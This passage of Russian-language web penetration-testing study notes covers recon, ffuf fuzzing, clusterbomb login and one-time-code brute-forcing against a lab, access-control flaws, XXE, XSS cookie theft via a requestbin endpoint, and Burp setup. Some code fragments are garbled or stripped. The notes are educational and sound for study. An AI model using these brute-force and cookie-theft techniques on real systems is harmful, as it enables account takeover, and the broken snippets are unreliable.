related:Поиск сайтов, похожих на указанный.
**Комбинация запросов**
"точная фраза"Поиск страниц, содержащих точную фразу в кавычках. "логин или пароль неверен" (идеально для поиска конкретных сообщений об ошибках).
OR (или |)Логическое "ИЛИ". Найдет страницы, содержащие хотя бы одно из слов. python OR javascript tutorial
- (минус)Исключает слово из поиска. python -snake (найдет все про язык Python, но исключит результаты про змей).
\* (звездочка)Подстановочный знак, заменяет любое слово или часть слова. Пример: "Используйте \* для" (найдет фразы типа "Используйте Python для", "Используйте наш сервис для" и т.д.).
( ) — Группировка для сложных запросов.Пример: (python OR java) site:github.com "beginner tutorial"
На сайте [https://www.exploit-db.com/google-hacking-database](https://www.exploit-db.com/google-hacking-database) размещена база с интересными запросами. . # Email рассылки **Временная почта для регистрации** [https://www.guerrillamail.com](https://www.guerrillamail.com) Телефонные номера: [https://onlinesim.io/ru](https://onlinesim.io/ru) **Ip адреса, с которых разрешено отправлять почту с этого домена** SPF запись в разделе redirect возвращает запись, в которой содержится информация о разрешенных адресах отправки: ``` » dig txt ptsecurity.ru                                   ... ptsecurity.ru.        600    IN    TXT    "v=spf1 redirect=_spf.ptsecurity.com" ... ``` Получение списка адресов: ``` » dig txt _spf.ptsecurity.com                     ... _spf.ptsecurity.com.    3600    IN    TXT    "v=spf1 ip4:178.238.126.136 ip4:178.238.126.137 ip4:195.133.251.200 ip4:195.133.251.201 ip4:31.44.93.58 ip4:81.27.243.31 ip4:81.27.243.54 ip4:195.133.251.208 ip4:178.238.126.134 mx -all" ... ``` Параметры:
v=spf1TXT запись содержит информацию, относящуюся непосредственно к SPF
ipv4 (ipv6)список IP адресов и сетей, с которых дозволено отправлять письма
mxсерверам, указанным в MX DNS записи, так же разрешено отправлять письма. Получить список: ``` dig mx ptsecurity.ru ```
-allадреса, не указанные в записи SPF, не имеют права отправлять электронную почту.
~allэлектронные письма, не включенные в список, будут помечены как небезопасные или спам
+allлюбой сервер может отправлять электронные письма от имени вашего домена
includeадреса организаций, которые имеют право отправлять от имени этого домена
Бывает, что для домена указывается ссылка на списки провайдера, которые содержат целиком подсети. Поэтому для данного домена можно отправлять от его имени с адресов соседних виртуалок. # Взлом Web приложений # Фаззинг **Fuff** FFUF легко адаптируется к внешнему инструментарию. Подставляет наборы из словарей в соответствующие точки адреса и анализирует ответ. ``` ffuf -u http://test.ru/FUZZ/ -w dict.txt ``` Здесь вместо FUZZ будет подставлено каждое значение из dict.txt. По умолчанию GET, затем анализ статуса ответа **Мультисловарь** ``` ffuf -u https://ignitetechnologies.in/W2/W1/ -w dict.txt:W1 -w dns_dict.txt:W2 ``` Общие параметры
-ic -sскрывает из вывода баннер fuff и дополнительную информацию, оставляя только найденные пути
-e .phpопределяет расширение файла, которое мы ищем.
-b ""Установка cookie
-p 1Задержка 1 секунда перед отправкой следующего запроса
-rate 500Максимальное количество запросов в секунду
-t 1000Количество потоков. По умолчанию 40.
-o fname -of formatВыходной файл и формат результата -of html -of csv
Параметры соответствия / фильтрации
-mc / -fcКакие статусы отображать. например -mc 200 / Какие статусы фильтровать
-ml / -flСоответствие / исключение количеству строк в ответе
-mw / -fwСоответствие / исключение количеству слов в ответе
-ms / -fsСоответствие / исключение размера ответа
-mr / -frСоответствие / исключение в ответе регулярному выражению
Можно настроить proxy Атака clusterbomb - подстановка логинов и паролей из словаря в соответствующие поля запроса для подбора. Идея в том, что в параметре request указывается текст запроса. При помощи burp копируем текст запроса, в нашем случае в brute.txt заменяя значения на переменные [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/Daqimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/Daqimage.png) Затем задаем тип атаки -mode и словари для переменных. ``` ffuf -request brute.txt -request-proto http -mode clusterbomb -w users.txt:HFUZZ -w pass.txt:WFUZZ -mc 200 ``` **Типы атак:**
clusterbombПолный перебор. Берет все элементы из первого набора и комбинирует со всеми элементами из второго, третьего и т.д. Идеален для перебора логина и пароля.
pitchforkПопарное сопоставление. Берет первый элемент из первого набора, первый из второго и т.д., затем второй из первого, второй из второго. Используется для согласованных данных.
sniperСнайпер (режим по умолчанию). Использует один набор полезных нагрузок для атаки на одну или несколько позиций по очереди.
batteringramТаран. Использует один набор полезных нагрузок и подставляет одно и то же значение во все позиции одновременно в одном запросе.
null"Холостой" режим. Отправляет запрос только один раз, без замены в позициях. Полезные нагрузки не используются. Получить "чистый" ответ от сервера без каких-либо атакующих payloads, чтобы использовать его как базовый для фильтрации.
multinullМногократный "холостой" режим. Отправляет один и тот же базовый запрос несколько раз. Стабильность ответа: Проверить, возвращает ли сервер всегда один и тот же ответ на идентичный запрос. Помогает отсеять случайные отклонения.
singleОдиночная замена. Использует один набор полезных нагрузок, но подставляет каждую нагрузку только в первую позицию FUZZ. Последующие позиции FUZZ в запросе игнорируются. Упрощенный вариант Sniper, когда у вас в запросе случайно оказалось несколько слов FUZZ, но вы хотите фаззить только первую позицию.
iteratorНужен файл смарт-загрузки (JSON) Позволяет создать цепочку из других режимов атаки. Например, сначала выполнить clusterbomb для двух наборов, а затем результат передать в sniper для третьего. Очень гибкий, но и сложный в настройке.
trampolineНужен файл смарт-загрузки (JSON) Позволяет использовать результат одного запроса (например, извлечь токен из ответа) в качестве полезной нагрузки для следующего запроса. Идеален для обхода защиты, требующей выполнения предыдущего шага (например, получения CSRF-токена перед отправкой формы).
Т е fuff повторяет типы Burb, добавляя свои варианты. Iterator и trampoline являются аналогами скриптов в Burp. Возможно настройка менее удобная. **Список словарей:** - [https://github.com/empty-jack/YAWR](https://github.com/empty-jack/YAWR) раздел web -> files and directories -> fuzz.txt - SecLists (GitHub) — самый большой и универсальный набор: директории, файлы, пароли, URL, поддомены и т.п. git clone [https://github.com/danielmiessler/SecLists.git](https://github.com/danielmiessler/SecLists.git). - Assetnote — Wordlists [wordlists.assetnote.io](http://bobrobotirk.ru/wordlists.assetnote.io) — наборы, регулярно обновляемые для content-/subdomain-discovery. Есть web-interface и репозиторий. - commonspeak2-wordlists (Assetnote / GitHub) — wordlists, сгенерированные из больших публичных датасетов (подходит для content discovery и поддоменов). git clone [https://github.com/assetnote/commonspeak2-wordlists](https://github.com/assetnote/commonspeak2-wordlists). - FuzzDB (GitHub / проект) — словари атак, шаблоны и предсказуемые пути — полезно для более «потенциально опасных» и специальных путей. - PayloadsAllTheThings (GitHub / сайт) — коллекция полезных payload’ов и bypass-паттернов (не просто имена файлов, а полезные полези для инъекций и тестов). - DirBuster wordlists (архив/репозитории) — классические wordlists, используемые DirBuster / Dirsearch (хороши для brute-директорий). Есть архивы и отдельные репозитории с наборами. - Kali / пакеты wordlists & seclists — Kali поставляет готовые пакеты (seclists, wordlists с rockyou и т.д.), удобно ставить прямо через apt на тестовой машине. - rockyou.txt (популярный парольный словарь) — классика для перебора паролей; часто нужен при тестах аутентификации. Доступен в архивах wordlists (Kali) и на mirror-сайтах. weakpass.com - Assetnote commonspeak / blog & наборы рекомендаций по поддоменам — гайды и готовые наборы поддоменов (полезно сочетать с автоматикой обновления). - Доп. коллекции и агрегаторы (Payloads-and-wordlists, другие GitHub-репы) — небольшие коллекции и специализированные листы (например, payload-наборы для Burp / Intruder). Полезны для конкретных задач. # Направления **Способы атаки** - Как ведет приложение при запросах отсутствующих страниц? - Список существующих endpoint ([Фаззинг](http://bobrobotirk.ru/books/informacionnaia-bezopasnost/page/fazzing "Фаззинг")) - Категории уязвимостей, которые возможно эксплуатировать в endpoint **Категории типовых уязвимостей** Типовые уязвимости по механизмам, где они происходят: - Уязвимости механизмов аутентификации (Authentication Bypass) - Уязвимости механизмов авторизации (Vulnerabilities of authorization ) - Уязвимости загрузки файлов (File upload vulnerabilities) - Уязвимости раскрытия информации ( Coordinated Vulnerability Disclosure) - Уязвимости в системах криптографии (Vulnerabilities in cryptography systems) и др. **Типовые уязвимости по характеру их эксплуатации:** - Уязвимости состояния гонки (race condition) - Уязвимости некорректной нейтрализации управляющих конструкций при генерации веб-страниц (атаки межсайтового скриптинга) (XSS) - Уязвимости подделки запроса со стороны сервера (SSRF) - Уязвимости подделки запроса со стороны клиента (CSRF) и др. **Типовые уязвимости по технологиям, в которых они происходят:** - Уязвимости SQL инъекций (SQL injection) - Уязвимости внедрения внешних сущностей в XML-документы (XXE ) - Уязвимости инъекций в ORM-запросах (ORM injection) - Уязвимости инъекций в LDAP-запросах (LDAP Injection) - Уязвимости инъекции команд или аргументов в запросах к терминальной оболочке ОС (Command Injection) # Тестовые стенды **OWASP Juice Shop** Образ docker [https://hub.docker.com/r/bkimminich/juice-shop](https://hub.docker.com/r/bkimminich/juice-shop) ```bash # Запуск последней версии docker run -d -p 3000:3000 bkimminich/juice-shop # Или с конкретной версией docker run -d -p 3000:3000 bkimminich/juice-shop:v15.1.0 ``` Затем он доступен по адресу [http://localhost:3000](http://localhost:3000) **Damn Vulnerable Web Application (DVWA)** Работает через docker или на локальном веб-сервере. Инструкции по DVWA доступны по адресу [https://github.com/ethicalhack3r/DVWA](https://github.com/ethicalhack3r/DVWA) ``` docker run -d -p 80:80 vulnerables/web-dvwa ``` Можно запустить отдельный контейнер с MySQL ```yaml version: '3' services: dvwa: image: vulnerables/web-dvwa ports: - "80:80" environment: - MYSQL_HOST=db - MYSQL_USER=dvwa - MYSQL_PASSWORD=p@ssw0rd - MYSQL_DB=dvwa depends_on: - db restart: unless-stopped db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=dvwa - MYSQL_USER=dvwa - MYSQL_PASSWORD=p@ssw0rd restart: unless-stopped ``` После запуска по адресу [http://localhost](http://localhost) нажмите "Create / Reset Database", войдите с учетными данными по умолчанию: Логин: admin Пароль: password В разделе "DVWA Security" установите нужный уровень сложности. **Тестовый стенд от stepik** [Ссылка](https://stepik-files.cyber-ed.space/WhiteHat/courses-shop.zip) # Уязвимости механизмов авторизации **Классификация по типам проверки подлинности:** - Знание (пароль или ответ на вопрос безопасности, одноразовый код). Факторы знаний. - Обладание (физический объект - мобильный телефон или маркер безопасности - магнитная карта). Фактор владения. - Биометрия (персональные данные или модели поведения - конфиденциальная информация). Фактор согласованности. Механизмы аутентификации уязвимы в случаях: - Не могут адекватно защитить от атак с применением методов грубой силы. - Логические ошибки или плохой код в реализации позволяют полностью обойти аутентификацию. **Уязвимости Password-based аутентификации** Пользователи регистрируются для получения учетной записи, или администратор присваивает им учетную запись. Учетная запись связана с уникальным именем пользователя и паролем. Безопасность сайта будет скомпрометирована, если получить или угадать учетные данные другого пользователя. Уязвимости в этом механизме возникают по различным причинам, одни из них: - Возможные brute-force атаки - Уязвимая защита от brute-force атак - HTTP-basic аутентификация **Возможные brute-force атаки** Brute-forcing пользовательских имен Работает если соответствуют узнаваемому шаблону, например, адресу электронной почты. Очень часто логины бывают в формате firstname.lastname@somecompany.com Иногда высокопривилегированные учетные записи создаются с использованием предсказуемых имен пользователей, таких как admin или administrator. Brute-forcing паролей Часто бывают настроены политики паролей с высокой энтропией, которые сложнее взломать одним перебором. Возможные условия: - Минимального количества символов - Смеси строчных и заглавных букв - Как минимум одного специального символа Но пользователи часто берут пароль, который они могут запомнить, и пытаются использовать его в соответствие с политикой паролей. Например, если не разрешено использование password, пользователи могут попробовать что-нибудь вроде P@ssw0rd или P4$$w0rd!. Предположение предсказуемых закономерностей означает, что атаки с применением грубой силы часто могут быть гораздо более изощренными и более эффективными, чем простые итерации через всевозможные комбинации символов. **Уязвимая защита от brute-force атак** Для успешной компроментации аккаунта необходимо провести множество неудачных попыток. Защита строится на замедлении скорости перебора пароля. Наиболее распространенные способы предотвращения атак: - Блокировка учетной записи в случае большого количества неудачных попыток входа. - Блокировка IP-адреса удаленного пользователя в случае большого количества попыток входа в систему. Иногда счетчик количества неудачных попыток сбрасывается при успешном входе владельца IP-адреса. Это означает, что злоумышленнику просто придется входить в систему под своей учетной записью каждые несколько попыток, чтобы этот лимит никогда не был достигнут. В этом случае достаточно просто включать свои собственные учетные данные для входа в систему через регулярные интервалы времени в течение перебора всего словаря, чтобы сделать эту защиту практически бесполезной. **Basic-аутентификация HTTP** Несмотря на старость метода, ее часто используют. Клиент получает маркер аутентификации, который строится путем сцепления имени пользователя и пароля, а также их кодировки в Base64. Этот токен хранится в браузере, который автоматически добавляет его в заголовок авторизации каждого последующего запроса следующим образом: Authorization: Basic base64(username:password) Причины уязвимости: - Многократная отправка учетных данных при каждом запросе. Если на веб-сайте также не реализована HSTS, могут быть перехвачены через Man-in-the-Middle. - Часто не поддерживает защиту от переборов грубой силы. Поскольку токен состоит из статических значений. - Уязвима к атакам, связанным с сеансом, в частности к CSRF В некоторых случаях использование уязвимой базовой HTTP-аутентификации может дать злоумышленнику доступ только к, казалось бы, неинтересной странице. Однако, в дополнение к обеспечению дополнительной поверхности атаки, учетные данные, раскрытые таким образом, могут быть повторно использованы в других, более конфиденциальных контекстах. **Уязвимости мультифакторной аутентификации** Проверка биометрических факторов является непрактичной для большинства веб сайтов. Чаще встречается двухфакторная аутентификация (2FA). Для многофакторной аутентификации необходимы различные факторы. Проверка одного фактора разными способами не является двухфакторной аутентификацией. Одним из таких примеров является 2FA через электронную почту. Хотя пользователь должен предоставить пароль и проверочный код, доступ к коду предполагается на основе того, что пользователь знает учетные данные для входа в свою учетную запись электронной почты. Поэтому фактор проверки подлинности знания просто проверяется дважды. Обход двухфакторной аутентификации: - Несовершенная реализация - Иногда ошибочная логика двухфакторной аутентификации означает, что после того, как пользователь выполнил начальный шаг входа в систему, веб-сайт не может адекватно проверить, что этот же пользователь выполняет второй шаг. - Отсутствие мер по предотвращению перебора проверочного кода 2FA. **Уязвимости механизмов смены пароля, восстановления пароля, поддержания сессии** Большинство сайтов предоставляют дополнительные функциональные возможности управления учетной записью. Например, изменение и сброс пароля. Эти механизмы также могут добавлять уязвимости. Разработчики стараются избежать известных уязвимостей на страницах входа. Однако забывают об аналогичные шагах на связанной функциональности. Это особенно важно при возможности пользователя самому создавать учетную запись и имеет доступ к изучению этих дополнительных страниц. Сторонние механизмы аутентификации, которые также могут быть уязвимы: - Механизм поддержания сессии «запомнить меня» - Механизм сброса пароля через E-mail - Механизм сброса пароля с использованием URL и одноразового токена - Механизм смены пароля **Дополнительные ссылки** - [Серия нерегулярного подкаста](https://t.me/cybersec_in_russian/5) с обсуждением основных атак на аутентификацию и угон аккаунтов - [OWASP-памятка](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Authentication_Cheat_Sheet.md) по реализации механизмов аутентификации Тренироваться на упражнениях можно на открытых платформах. Одна из лучших платформ по изучению проблем безопасности веб-приложений: [PortSwigger Academy](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses). - [Попрактикуемся](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses) в атаках на аутентификацию Типичные ошибки в [BurpSuite](https://portswigger.net/burp/documentation/scanner/burp-scanner-error-reference) Так же настоятельно рекомендуем ознакомится с различными инструментами, используемыми для брутфорсинга (hydra, medusa, patator и др.): - [https://www.kali.org/tools/hydra/](https://www.kali.org/tools/hydra/) - [https://www.kali.org/tools/medusa/](https://www.kali.org/tools/medusa/) - [https://www.kali.org/tools/patator/](https://www.kali.org/tools/patator/) **Пример атаки** Атака производилась на стенд stepik [Тестовые стенды](http://bobrobotirk.ru/books/informacionnaia-bezopasnost/page/testovye-stendy "Тестовые стенды") Задача в поиске строки в формате 32 букв и цифр из кода страницы панели администратора. Сначала получим список возможных страниц. ``` ffuf -u http://192.168.1.199:1337/FUZZ/ -w fuzz.txt ``` Нашли страницу админки. Включаем Burp и находим способ отправки логина и пароля. Сохраняем запрос в payload.txt Копируем словарь паролей [https://github.com/empty-jack/YAWR](https://github.com/empty-jack/YAWR) раздел brute -> passwords -> reallyBest.txt Я переименовал его в passlist.txt Теперь попробуем clusterbomb. Я столкнулся с интересной проблемой перебора через ffuf. Непонятно, какой пароль подошел. Потом, после размышлений, догнал. Однако это очень-простое-приложение) Burp все-таки удобнее. ``` ffuf -request payload.txt -request-proto http -mode clusterbomb -w loginlist.txt:HFUZZ -w passlist.txt:WFUZZ -mc 200 ``` А не понял из-за ограничения на статус 200. Не знал, что после корректной авторизации приложение переадресовывает эту сессию на следующую страницу. В реальных задачах потребуется проверка на блокировку, ... Теперь подбираем одноразовый код аналогично. Надоело ждать перебор через Burp, сделал простой скрипт для формирования списка из 999 чисел и отдал его в ffuf # Уязвимости инъекции команд ОС Инъекция команд ОС (shell инъекция) позволяет выполнять произвольные команды ОС на сервере, и обычно дает возможность полностью скомпрометировать приложение и все его данные. Возможно использовать также для компрометации других частей инфраструктуры, используя доверительные отношения для перенаправления атаки на другие системы в организации. Обычно эксплуатация затруднена и требует поиска возможностей выполнения кода через другие уязвимости: - Уязвимости небезопасной десериализации - Уязвимости внедрения шаблонов на стороне сервера SSTI - Уязвимости SQL инъекции - Уязвимости переполнения буфера / кучи / стека - Множественные случаи проблем и ошибок реализации, возникающих при работе с запуском процессов и работе с терминальной оболочкой Здесь нужно понимать что искать. # Уязвимости контроля доступа Варианты: - Аутентификация идентифицирует пользователя и подтверждает, что он является тем, за кого себя выдает. - Управление сеансом идентифицирует, какие последующие HTTP-запросы выполняются тем же самым пользователем. - Управление доступом определяет, разрешено ли пользователю выполнять действия, которые он пытается выполнить. Проектирование и управление контролем доступа — это сложная и динамичная проблема, которая применяет деловые, организационные и правовые ограничения к технической реализации. Проектные решения по контролю доступа должны приниматься людьми, а не технологиями, и вероятность ошибок высока. **Пример** После создания заказа в стенде будет перенаправление на страницу с информацией о нем. Адрес этой станицы будет вида http://localhost:1337/receipt.php?orderID=3, где 3 — это номер вашего заказа. Вы можете попробовать нарушить контроль доступа и обратиться к заказам с другими номерами. Если система уязвима — вы увидите данные о заказе который не принадлежит вам, и там отображаются персональные данные другого пользователя. Обычно номера заказов идут по возрастающей, следовательно, скорее всего, есть заказы с номером меньше вашего, но нет с номером больше вашего. При запуске сайта первые заказы обычно создают для теста владельцы сайта и если эти заказы не были удалены, то там могут оказаться контактные данные администратора сайта. Таким образом, вы получите доступ к данным, которые вам не предназначались, и обнаружите уязвимость контроля доступа в лабораторном стенде. **Категории контроля доступа** - Вертикальный контроль доступа. - Горизонтальный контроль доступа. - Контекстно-зависимый контроль доступа. **Вертикальный контроль доступа** Механизмы, ограничивающие доступ к чувствительным функциям, недоступным другим типам пользователей. Различные типы пользователей имеют доступ к различным функциям приложений. Например, администратор может изменить или удалить учетную запись любого пользователя, в то время как обычный пользователь не имеет доступа к этим действиям. Вертикальные средства контроля доступа могут быть более тонкой реализацией моделей безопасности, разработанных для внедрения бизнес-политик, таких, как разделение обязанностей и наименьших привилегий. **Пример уязвимостей IFLAC** Insecure Function Level Access Control (IFLAC) — это подкатегория уязвимостей контроля доступа. Уязвимый контроль доступа функционального уровня позволяет получить доступ к несанкционированным для роли функциям. Административные функции являются основной целью данного типа атак. Возникает при публикации API, в котором не проверяется уровень доступа для обращения к функциям. Пример - возможность обращения к вызову функции удаления пользователя, в то время как доступ в административную панель закрыт. Т.е. пользователь не может открыть кабинет администратора, но может выполнить запрос к методу API, который будет успешно выполнен. **Горизонтальный контроль доступа** Механизмы, ограничивающие доступ к ресурсам для пользователей, которым специально разрешен доступ к этим ресурсам. Различные пользователи имеют доступ к подмножеству ресурсов одного и того же типа. Например, банковское приложение позволит пользователю просматривать транзакции и осуществлять платежи со своих счетов, но не со счетов любого другого пользователя. **Пример уязвимостей IDOR** Небезопасные прямые ссылки на объекты (IDOR) — это также подкатегория уязвимостей контроля доступа. IDOR возникает, когда приложение использует пользовательский ввод для прямого доступа к объектам, а злоумышленник может модифицировать ввод для получения несанкционированного доступа. Он был популярен своим появлением в OWASP TOP 10 2007. Хотя, это лишь один из примеров многих ошибок в реализации, которые могут привести к обходу контроля доступа. Рассмотрим сайт, который использует следующий URL для доступа к странице учетной записи клиента, извлекая информацию из внутренней базы данных: https://insecure-website.com/customer\_account?customer\_number=132355 Здесь номер клиента используется непосредственно как индекс записи в запросах, которые выполняются на внутренней базе данных. Если другие элементы управления отсутствуют, злоумышленник может просто изменить значение параметра customer\_number, минуя элементы управления доступом для просмотра записей других клиентов. Это пример уязвимости IDOR, приводящей к горизонтальному повышению привилегий. Атакующий может выполнить горизонтальное и вертикальное повышение привилегий, изменяя пользователя на пользователя с дополнительными привилегиями в обход элементов управления доступом. Другие возможности включают в себя, например, использование утечки пароля или изменение параметров после того, как злоумышленник попал на страницу учетной записи пользователя. **Контроль доступа в местах, зависящих от бизнес-логики** Контекстно-зависимые элементы управления доступом ограничивают доступ к функциональности и ресурсам в зависимости от состояния приложения или взаимодействия с ним пользователя, а также препятствуют выполнению пользователем действий в неправильном порядке. Например, веб-сайт розничной торговли может помешать пользователю изменить содержимое корзины после того, как он произвел оплату. Уязвимости контроля доступа, как правило, можно предотвратить, применяя глубокий подход к защите и следуя следующим принципам: - Никогда не полагайтесь только на обфускацию для контроля доступа. - Если ресурс не предназначен для публичного доступа, запретите доступ по умолчанию. - Везде, где это возможно, используйте единый прикладной механизм для обеспечения контроля доступа. - На уровне кода сделайте обязательным для разработчиков объявление доступа, разрешенного для каждого ресурса, и запретите доступ по умолчанию. - Тщательно проверяйте и тестируйте средства контроля доступа, чтобы убедиться, что они работают так, как задумано. - Регистрируйте сбои контроля доступа и уведомляйте администраторов при необходимости (например, если сбои повторяются). - Ограничивайте частоту доступа к API и контроллерам для минимизации ущерба от инструментов автоматизации атак. # Файлы и каталоги Обход файловых путей (англ. Path Traversal или Directory Traversal) – это уязвимость веб-безопасности, позволяющая злоумышленнику читать произвольные файлы на сервере, на котором запущено приложение. Сюда могут входить код приложения и данные, учетные данные для внутренних систем и конфиденциальные файлы операционной системы. В некоторых случаях злоумышленник может записать в произвольные файлы на сервере, что позволит ему изменить данные или поведение приложения, и, в конечном счете, получить полный контроль над сервером. Появляются из-за отсутствия валидации входных данных пользователя, а также из-за отсутствия разграничения доступа приложения или функции на возможность обращаться к файловым ресурсам всего сервера. Пример уязвимого кода: ``` ]> first first@ya.ru +79528486357 &file; Beginer 5 ``` Дополнительная информация - [Больше об XML сущностях](https://portswigger.net/web-security/xxe/xml-entities) - [PayloadsAllTheThings - XXE Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection) - [Обзор уязвимости XXE и ее вариаций](https://phonexicum.github.io/infosec/xxe.html) - [Практика на платформе portswigger](https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection) # Межсайтовый скриптинг (XSS) Уязвимость, позволяющая скомпрометировать взаимодействие пользователей с уязвимым приложением. Она позволяет обходить политику одного источника (англ. Same Origin Policy, SOP), которая предназначена для разделения различных веб сайтов друг от друга. Политика одного источника (Same Origin Policy, SOP) предотвращает взаимодействие скриптов с содержимым страниц, происходящих с разных источников, чтобы обеспечить безопасное выполнение кода на веб-странице. XSS позволяет маскироваться под пользователя-жертву, выполнять любые действия, которые может выполнить пользователь, и получать доступ к любым данным пользователя. Если пользователь-жертва имеет привилегированный доступ внутри приложения, то атакующий может получить полный контроль над всей функциональностью и данными приложения. Межсайтовый скриптинг работает путем манипулирования уязвимым веб-сайтом, чтобы он возвращал пользователям вредоносный JavaScript. Когда вредоносный код выполняется внутри браузера жертвы, злоумышленник может полностью скомпрометировать их взаимодействие с приложением. Т е в данные добавляется модифицированный JS код, админ входит на эту страницу и вуаля. Для проверки на наличие XSS уязвимости нужно добавить в поле данных управляющий символ html " > и т д. Если он остается в сохраненных данных - значит это возможно. Затем кодируется JS и все ок). Один из наиболее распространенных сценариев развития атаки в этой ситуации – передача Cookie посетителя атакующему. Чтобы принять запрос, воспользуемся ресурсом [https://requestbin.com/](https://requestbin.com/). Используем указанный в поле Endpoint URL для получения Cookie: `+79117238383">` где ADDR – адрес вашего endpoint. **Основные типы XSS-атак** - Отраженный XSS, где вредоносный скрипт происходит из текущего HTTP запроса. - Хранимый XSS, где вредоносный скрипт приходит из хранилища данных веб-сайта. - Dom-based XSS, где уязвимость существует в клиентском коде, а не в коде сервера. Отраженный межсайтовый скриптинг (XSS) возникает, когда приложение получает данные в HTTP-запросе и включает эти данные непосредственно в ответ небезопасным способом. Хранимый XSS Сохраненный межсайтовый скриптинг (скриптинг второго порядка или постоянный XSS) возникает, когда приложение получает данные из недоверенного источника и включает эти данные в свои последующие HTTP-ответы небезопасным способом. Например комментарии. Dom-based XSS XSS-уязвимости, основанные на DOM, обычно возникают, когда JavaScript берет данные из подконтрольного злоумышленнику источника, например, URL, и передает их «раковине» (англ. sink), поддерживающей динамическое выполнение кода, например, eval() или innerHTML. Это позволяет злоумышленникам выполнять вредоносный JavaScript, что обычно приводит к взлому учетных записей других пользователей. Для реализации XSS-атаки, основанной на DOM, необходимо поместить данные в источник таким образом, чтобы они распространились на поглотитель и вызвали выполнение произвольного JavaScript. Наиболее распространенным источником для DOM XSS является URL, доступ к которому обычно осуществляется с помощью объекта window.location. Злоумышленник может построить ссылку для отправки жертвы на уязвимую страницу с полезной нагрузкой в строке запроса и фрагментами URL. В некоторых случаях, например, при нацеливании на страницу 404 или на сайт, работающий на PHP, полезная нагрузка также может быть помещена в путь. **Доп. информация** - [Простейший пример уязвимости](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded) - Наиболее объемный набор лабораторных работ с хорошими кейсами: [практики portswigger](https://portswigger.net/web-security/all-labs#cross-site-scripting). - [Механизмы обеспечения безопасности клиентской части](https://developer.mozilla.org/en-US/docs/Web/Security) - Основополагающие механизмы в работе браузера: - [SOP](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) - [CORS](https://developer.mozilla.org/en-US/docs/Glossary/CORS) - [понятие "источника"](https://developer.mozilla.org/en-US/docs/Glossary/Origin) - [URL](https://url.spec.whatwg.org/#origin) # Burp Открытые курсы по [Burp](https://portswigger.net/web-security/dashboard) от разработчиков. **Структура сканера** Процесс прохождения пакета и точки настройки
1. Входящий пакет попадает на proxy. 2. Происходит проверка совпадения со Scopes. 3. В случае совпадения отправляется в инструменты. Иначе отправляется обратно в Proxy. 4. Производится обработка, модификация пакета, далее отправляется обратно в Proxy 5. Пакет отправляется на выход в соответствии с правилами **Настройки** **Проект** Настройки бывают пользователя и проекта. Проект = данные + настройки. В Community Edition можно сохранить только настройки, данные придется получать каждый раз. Для каждого блока можно сохранить / загрузить настройки отдельно. **Scopes** **Site map.** Агрегация данных о структуре сайта. Раздел Display - расширенные инструменты фильтрации отображения, есть регулярки. Можно подсветить нужные запросы (ПКМ - highlight) и/или добавить комментарии, затем по ним отфильтровать. После применения Scopes, исключенные пакеты отображаются в сером цвете. В Pro версии можно найти отличия между двумя Site Map. **Scope.** Ограничение области действия (домен, папка, файлы). Файл в терминах Burp - например для запроса [http://one.ru/two/index.php](http://one.ru/two/index.php) будет index.php. Вариант настройки - запустить браузер и перейти в нем на нужный сайт. Все посещенные сайты в пределах текущей сессии отображаются в разделе Target-Site map [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/Io1image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/Io1image.png) ПКМ-Add to scope По умолчанию для нового проекта все посещенные страницы попадают в историю и другие инструменты. После добавления в scope будет задан вопрос - сохранять ли запросы вне scope. Можно включить обратно. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/Ls9image.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/Ls9image.png) Есть обычный и расширенный режимы настройки scope. В обычном настраивается только префикс, в расширенном можно ограничить протокол и использовать регулярные выражения для определения сайта, порта, файла. [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/TLKimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/TLKimage.png) Страница попадает/исключается при полном совпадении условий. Можем загрузить список из текстового файла без указания протокола, например в виде ``` web.cyber-ed.ru wiki.cyber-ed.ru www.cyber-ed.ru ``` В других разделах настраиваются более точные параметры для фильтрации. В разделе Project - Scope есть настройка Drop all out-of-scope requests. Если предыдущие настройки определяли правила попадания страниц в историю, то это блокирует запросы вне scope. **Proxy** В этом разделе есть 3 блока настроек: входящие параметры, перехват трафика и исходящие параметры. Отправка трафика на другой прокси настраивается в разделе Network-Connections Поддерживаются http и socks. Пример настройки socks для TOR сети. По умолчанию принимает локальные входящие соединения на 8080 порту http. Можно настроить в режиме прокси для внешних соединений. В Settings - Tools - Proxy нужно добавить Proxy Listeners. Это можно использовать для проксирования внешнего трафика. **Обработка https запросов.** Нужно чтобы burp распаковывал трафик, предоставлял возможности модификации и обратно запаковывал трафик. - Перейти в браузере по адресу [http://burp](http://burp) и скачать CA Certificate. - Преобразовать сертификат ``` openssl x509 -inform DER -in cacert.der -out cacert.pem ``` - Установить приложение и сертификат ``` sudo apt install libnss3-tools certutil -d sql:$HOME/.pki/nssdb -A -t "C,," -n "Burp Suite" -i cacert.pem ``` - Перезапустить браузер Еще дополнительно можно настроить SSL pass-through в случае ошибки SSL **"Незаметный proxy"** В случае отсутствия у клиента возможности работать через proxy. На клиенте в host файле меняем ссылку на нужный ресурс. **Поиск и замена данных** [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/hvgimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/hvgimage.png) Позволяет модифицировать запрос / ответ перед отправкой / возвратом. **Перехват трафика** Перейти во вкладку Proxy->Intercept [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-09/scaled-1680-/LQWimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-09/LQWimage.png) Proxy используется в режимах выключенного и включенного перехвата. При включенном перехвате пакеты перед отправкой останавливаются и ожидают, в какой инструмент будут направлены. В разделе Raw можно редактировать 